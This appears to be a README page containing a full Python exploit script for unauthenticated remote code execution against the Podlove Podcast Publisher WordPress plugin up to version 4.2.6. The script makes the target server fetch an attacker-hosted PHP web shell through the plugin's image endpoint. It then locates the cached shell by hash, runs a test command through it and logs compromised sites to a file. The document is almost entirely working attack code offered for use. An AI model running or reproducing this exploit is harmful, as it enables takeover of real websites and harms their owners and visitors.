README.md
Rendering markdown...
#!/usr/bin/env python3
"""
GHOSTPEL-SEC Podlove Podcast Publisher <= 4.2.6 - Unauthenticated RCE Exploit
Author: GHOSTPEL-SEC
Version: 1.2
"""
import warnings
import urllib3
# Suppress all warnings for clean output
warnings.filterwarnings("ignore")
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import requests
import hashlib
import sys
import time
import random
from urllib.parse import urlparse, quote
import re
# ASCII Banner
BANNER = """
\033[96m
______ _ _ ____ ____ _____ _ _ ______ _____ _____ _____ ______
/ ______| | | |/ __ \| _ \| ___| | | | ____/ ____| / ____/ ____| ____|
| | __ | |__| | | | | |_) | |__ | | | | |__ | | | (___| (___ | |__
| | |_ || __ | | | | _ <| __|| | | | __|| | \___ \\___ \| __|
| |__| || | | | |__| | |_) | |___| |__| | |___| |____ ____) |___) | |____
\_____||_| |_|\____/|____/|______\____/|______\_____||_____/|_____/|______|
\033[93m Podlove Podcast Publisher <= 4.2.6 - Unauthenticated RCE
\033[92m Author: GHOSTPEL-SEC
\033[94m GitHub: https://github.com/ghostpel-sec/
\033[0m
"""
class PodloveExploiter:
USER_AGENTS = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/121.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1',
]
def __init__(self):
self.session = requests.Session()
self.session.headers.update({
'User-Agent': random.choice(self.USER_AGENTS),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
})
self.session.verify = False
self.session.timeout = 30
def normalize_url(self, url):
"""Normalize target URL"""
url = url.strip()
if not url.startswith(('http://', 'https://')):
url = 'http://' + url
return url.rstrip('/')
def get_filename_from_url(self, shell_url):
"""Extract filename from shell URL - CORRECTED version"""
parsed = urlparse(shell_url)
# Split path and get last part, then split by dot and take first part
filename = parsed.path.split('/')[-1].split('.')[0] or "shell"
return filename
def hex_encode(self, url):
"""Hex encode URL for Podlove parameter"""
return url.encode().hex()
def check_vulnerability_marker(self, shell_content):
"""Check if shell contains the Ghostpel-SEC marker"""
marker = "youtube : https://www.youtube.com/@Ghostpel-Sec || github : https://github.com/ghostpel-sec/"
return marker in shell_content
def verify_shell_content(self, shell_url):
"""Verify that the shell URL contains the Ghostpel-SEC marker"""
try:
print(f"\033[94m[*] Verifying shell content at: {shell_url}\033[0m")
response = self.session.get(shell_url, timeout=10)
if response.status_code == 200:
content = response.text
if self.check_vulnerability_marker(content):
print(f"\033[92m[+] Shell verified - Ghostpel-SEC marker found!\033[0m")
return True
else:
print(f"\033[91m[-] Shell does not contain Ghostpel-SEC marker\033[0m")
return False
else:
print(f"\033[91m[-] Failed to access shell (HTTP {response.status_code})\033[0m")
return False
except Exception as e:
print(f"\033[91m[-] Error verifying shell: {str(e)}\033[0m")
return False
def exploit_target(self, target_url, shell_url):
"""Exploit single target"""
print(f"\n\033[94m[*] Target: {target_url}\033[0m")
print(f"\033[94m[*] Shell URL: {shell_url}\033[0m")
# Extract filename from shell URL - CORRECTED
filename = self.get_filename_from_url(shell_url)
print(f"\033[94m[*] Using filename: {filename}\033[0m")
# First verify the shell content
if not self.verify_shell_content(shell_url):
print(f"\033[91m[-] Shell verification failed. Aborting.\033[0m")
return
try:
# Step 1: Trigger upload
print("\033[94m[*] Triggering shell upload...\033[0m")
encoded_url = self.hex_encode(shell_url)
endpoint = f"{target_url}/podlove/image/{encoded_url}/100/100/0/{filename}"
response = self.session.get(endpoint, timeout=30)
if response.status_code == 200:
print(f"\033[92m[+] Upload triggered successfully\033[0m")
else:
print(f"\033[91m[-] Upload failed (HTTP {response.status_code})\033[0m")
return
# Wait for cache processing
print("\033[94m[*] Waiting for cache processing...\033[0m")
time.sleep(3)
# Step 2: Calculate file location - use shell_url + filename for hash
file_hash = hashlib.md5((shell_url + filename).encode()).hexdigest()
subdir = f"{file_hash[:2]}/{file_hash[2:]}"
print(f"\033[94m[*] Hash: {file_hash}\033[0m")
print(f"\033[94m[*] Subdir: {subdir}\033[0m")
# Build possible shell URLs - like the original script
base_url = f"{target_url}/wp-content/cache/podlove/{subdir}"
# Get extension from original URL
parsed = urlparse(shell_url)
path_parts = parsed.path.split('.')
ext = path_parts[-1] if len(path_parts) > 1 else 'php'
# Try different filename patterns
urls_to_try = [
f"{base_url}/{filename}_original.{ext}",
f"{base_url}/original.{ext}",
f"{base_url}/{filename}.{ext}",
f"{base_url}/original_{filename}.{ext}",
# Replace dots with hyphens in filename for some cases
f"{base_url}/{filename.replace('.', '-')}_original.{ext}",
f"{base_url}/{filename.replace('.', '-')}.{ext}",
]
# Also try with .php extension if different
if ext != 'php':
urls_to_try.extend([
f"{base_url}/{filename}_original.php",
f"{base_url}/original.php",
f"{base_url}/{filename}.php",
])
print(f"\033[94m[*] Searching for shell...\033[0m")
shell_found = False
shell_path = None
for test_url in urls_to_try:
print(f"\033[94m[*] Trying: {test_url}\033[0m")
try:
response = self.session.get(test_url, timeout=5)
if response.status_code == 200:
# Check for error indicators
content_lower = response.text.lower()
error_indicators = ['404 not found', '403 forbidden', 'access denied']
if not any(error in content_lower for error in error_indicators):
print(f"\033[92m[+] Found potential shell at: {test_url}\033[0m")
# Verify the uploaded shell contains the marker
if self.verify_shell_content(test_url):
print(f"\033[92m[+] Uploaded shell verified with Ghostpel-SEC marker\033[0m")
shell_found = True
shell_path = test_url
break
else:
print(f"\033[91m[-] Shell found but missing Ghostpel-SEC marker\033[0m")
except:
continue
if shell_found and shell_path:
print(f"\033[92m[+] SUCCESS! Shell uploaded successfully\033[0m")
print(f"\033[92m[+] Shell URL: {shell_path}\033[0m")
# Output format: url | filename | shell_path
print(f"\n\033[93m[RESULT] {target_url} | {filename} | {shell_path}\033[0m")
# Save to file
try:
with open('ghostpel_results.txt', 'a') as f:
f.write(f"{target_url} | {filename} | {shell_path}\n")
print(f"\033[92m[+] Result saved to ghostpel_results.txt\033[0m")
except:
pass
# Test shell with a simple command
test_cmd = f"{shell_path}?cmd=echo+GHOSTPEL-SEC"
try:
test_response = self.session.get(test_cmd, timeout=5)
if test_response.status_code == 200 and 'GHOSTPEL-SEC' in test_response.text:
print(f"\033[92m[+] Shell command execution verified\033[0m")
else:
print(f"\033[93m[!] Shell found but command execution may not work\033[0m")
except:
print(f"\033[93m[!] Could not verify command execution\033[0m")
else:
print(f"\033[91m[-] No valid shell found with Ghostpel-SEC marker\033[0m")
except Exception as e:
print(f"\033[91m[-] Error: {str(e)}\033[0m")
def main():
# Print banner
print(BANNER)
# Get user input
print("\033[94m[*] Please provide the following information:\033[0m")
target_url = input("\033[93m[?] Enter target URL: \033[0m").strip()
shell_url = input("\033[93m[?] Enter shell-url: \033[0m").strip()
# Validate inputs
if not target_url or not shell_url:
print("\033[91m[-] Error: Both URL and shell-url are required!\033[0m")
sys.exit(1)
print(f"\n\033[94m[*] Target: {target_url}\033[0m")
print(f"\033[94m[*] Shell URL: {shell_url}\033[0m")
# Initialize exploiter
exploiter = PodloveExploiter()
# Normalize URL
target_url = exploiter.normalize_url(target_url)
# Exploit target
exploiter.exploit_target(target_url, shell_url)
print(f"\n\033[94m[*] Exploitation completed\033[0m")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n\n\033[93m[!] Interrupted by user\033[0m")
sys.exit(0)
except Exception as e:
print(f"\n\033[91m[-] Unexpected error: {str(e)}\033[0m")
sys.exit(1)